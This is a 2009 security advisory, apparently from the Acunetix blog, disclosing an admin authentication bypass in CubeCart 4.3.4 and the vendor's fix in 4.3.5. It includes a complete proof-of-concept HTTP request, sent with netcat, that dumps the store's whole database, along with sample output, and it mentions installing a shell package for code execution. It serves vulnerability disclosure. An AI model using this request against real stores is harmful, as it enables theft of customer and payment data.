cubecart_select_admin_loggedinRelease Date: 2009/10/29
Author: Bogdan Calin (bogdan [at] acunetix [dot] com)
Severity: Critical
Vendor Status: Vendor has released an updated version

Release Date

: 2009/10/29

Author

: Bogdan Calin (bogdan [at] acunetix [dot] com)

Severity

: Critical

Vendor Status

: Vendor has released an updated version

I. Background

From Wikipedia: CubeCart is a free-to-use eCommerce software solution, designed to allow individuals and businesses sell tangible and digital goods on line. CubeCart is not Open Source software, although full source code is available at no cost, and the custom licensing model allows for customisation of the code.

CubeCart has developed a large fanbase, due in part, to the relative ease of creating modifications and enhancements. In the September/October 2007 issue of Practical eCommerce magazine, CubeCart was placed at #1 in their list of ‘100 Most Notable Shopping Carts’.

II. Description

While auditing the source code of CubeCart version v4.3.4, I’ve found a critical vulnerability in this application. Session managament for administrative users is flawed. It is easy to bypass it without providing any credentials. An attacker can later perform any actions the administrator can, such as dumping the database, install modules (PHP code execution) and so on.

CubeCart is using a MySQL table named CubeCart_admin_users for storing information about administrative users.

When an administrator logs in, the applications stores his session ID, browser (user agent) and IP address in the sessId, browser and sessIP fields.

cubecart_select_admin_loggedin

When the adminstrator logs out, these values are cleared. So sessId and the others fields become empty (as in an empty string).

cubecart_select_admin_loggedout

Let’s analyze the code:

In classessessioncc_admin_session.php, on line 56 there is:

$query = sprintf(“SELECT * FROM “.$this->glob[‘dbprefix’].”CubeCart_admin_users WHERE sessId = %s”, $this->db->mySQLSafe($GLOBALS[CC_ADMIN_SESSION_NAME]));

This will select the fields for the administrative user corresponding to the session identified by sessID.

But when the administrative user is logged out, sessID is empty. So, we can bypass this check by using an empty sessID.

There are 2 more checks that need to be bypassed:

There is this piece of code:

if (strpos($_SERVER[‘HTTP_USER_AGENT’],’AOL’) == false && $ccAdminData[0][‘sessIp’] !== $client_ip || $ccAdminData[0][‘browser’] !== $_SERVER[‘HTTP_USER_AGENT’]) {

$this->logout();

}

The HTTP_USER_AGENT check can be easily bypassed using an empty user agent.  How about the $client_ip check?  At first I was thinking that it’s not possible to bypass that.  Let’s look at the code:

Filename includesfunctions.inc.php, line 36

There are all these complex checks for validating $_SERVER[‘REMOTE_ADDR’]. However, $_SERVER[‘REMOTE_ADDR’], which cannot be faked.  And then, on the second line there is:

if(isset($_SERVER[‘HTTP_X_CLUSTER_CLIENT_IP’])
&& !detectSSL()) return $_SERVER[‘HTTP_X_CLUSTER_CLIENT_IP’];

This line will bypass all those complex checks. So, you just need to send an X_CLUSTER_CLIENT_IP header with an empty value.  This line of code (the one with X_CLUSTER_CLIENT_IP) looks like a hack to me.It was probably added later to fix some bug or add a new feature.

III. Proof of concept

The conclusion is that by entering empty sessId (ccAdmin cookie), user-agent and X_CLUSTER_CLIENT_IP header you can bypass the authentication and perform any actions an adminstrator can perform.

Here is a sample HTTP request that will dump the whole database in one request:

---------------------------------------------------------------------------------
POST /CubeCart-latest/admin.php?_g=maintenance/backup HTTP/1.1
Host: bld02
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCpv+NVAHAgHHdvdI
User-Agent:
X_CLUSTER_CLIENT_IP:
Cookie: ccAdmin=+
Accept: */*;q=0.5
Content-Length: 434

------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="structure"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="data"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="dbbackup"

1
------WebKitFormBoundaryCpv+NVAHAgHHdvdI
Content-Disposition: form-data; name="submit"

Download Now
------WebKitFormBoundaryCpv+NVAHAgHHdvdI--

---------------------------------------------------------------------------------

You can save it in a text file and use it with netcat (http://netcat.sourceforge.net/) like: >nc bld02 80 < db_dump.txt | more

HTTP/1.1 200 OK
Date: Tue, 20 Oct 2009 09:01:58 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.3
Pragma: private
Cache-control: private, must-revalidate
Content-Disposition: attachment; filename=cubecartlatest_20Oct09.sql
Content-length: 80864
Content-Transfer-Encoding: binary
Content-Type: application/octet-stream

-- --------------------------------------------------------
-- CubeCart SQL Dump
-- version 4.3.4
-- http://www.cubecart.com
--
-- Host: localhost
-- Generation Time: Oct 20 2009, 12:01 PM
-- Server version: 5.0.67-0ubuntu6
-- PHP Version: 5.2.6-2ubuntu4.3
--
-- Database: `cubecartlatest`
-- --------------------------------------------------------

--
-- Table structure for table `CubeCart_Coupons`
--

...

CREATE TABLE `CubeCart_transactions` (
   `id` int(11) NOT NULL auto_increment,
   `gateway` varchar(255),
   `extra` varchar(255),
   `status` varchar(50),
   `customer_id` int(11),
   `order_id` varchar(255),
   `trans_id` varchar(50),
   `time` int(10),
   `amount` decimal(30,2),
   `remainder` decimal(30,2) DEFAULT '0.00' NOT NULL,
   `notes` text,
 PRIMARY KEY (`id`),
 KEY `customer_id` (`customer_id`)
) ENGINE MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COLLATE=utf8_unicode_ci ;

--
-- Dumping data for table `CubeCart_transactions`
--

An administrator can install CubeCart packages, and it’s trivial to create a dummy package with a shell inside and install it.  Therefore, PHP code execution is possible and quite trivial.

IV. Workaround

The vendor was notified about this vulnerability on 20 October 2009 and they’ve released a fix on 26 October 2009
The problem was fixed in CubeCart version 4.3.5, which is available here: http://forums.cubecart.com/index.php?showtopic=39691.

However, the post “CubeCart 4.3.5 Released, Maintenance Release”, doesn’t include any information about this critical vulnerability.

Whats new?

– URL’s Changed in WorldPay module to match “RBS Worldpay” branding
– PayPal 3D Secure Fix & Enhancements *
– Moneybookers Payment Notification Fix
– Database Class Optimization
– Misc bugs…

I find this behaviour completely unprofessional: a vendor should inform his customers when a serious vulnerability is fixed in their product, especially when the product is processing credit card data, like CubeCart does.

Update:

CubeCart responded and informed their customers about this vulnerability. That’s great 🙂

SHARE THIS POST
THE AUTHOR
Bogdan Calin

Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.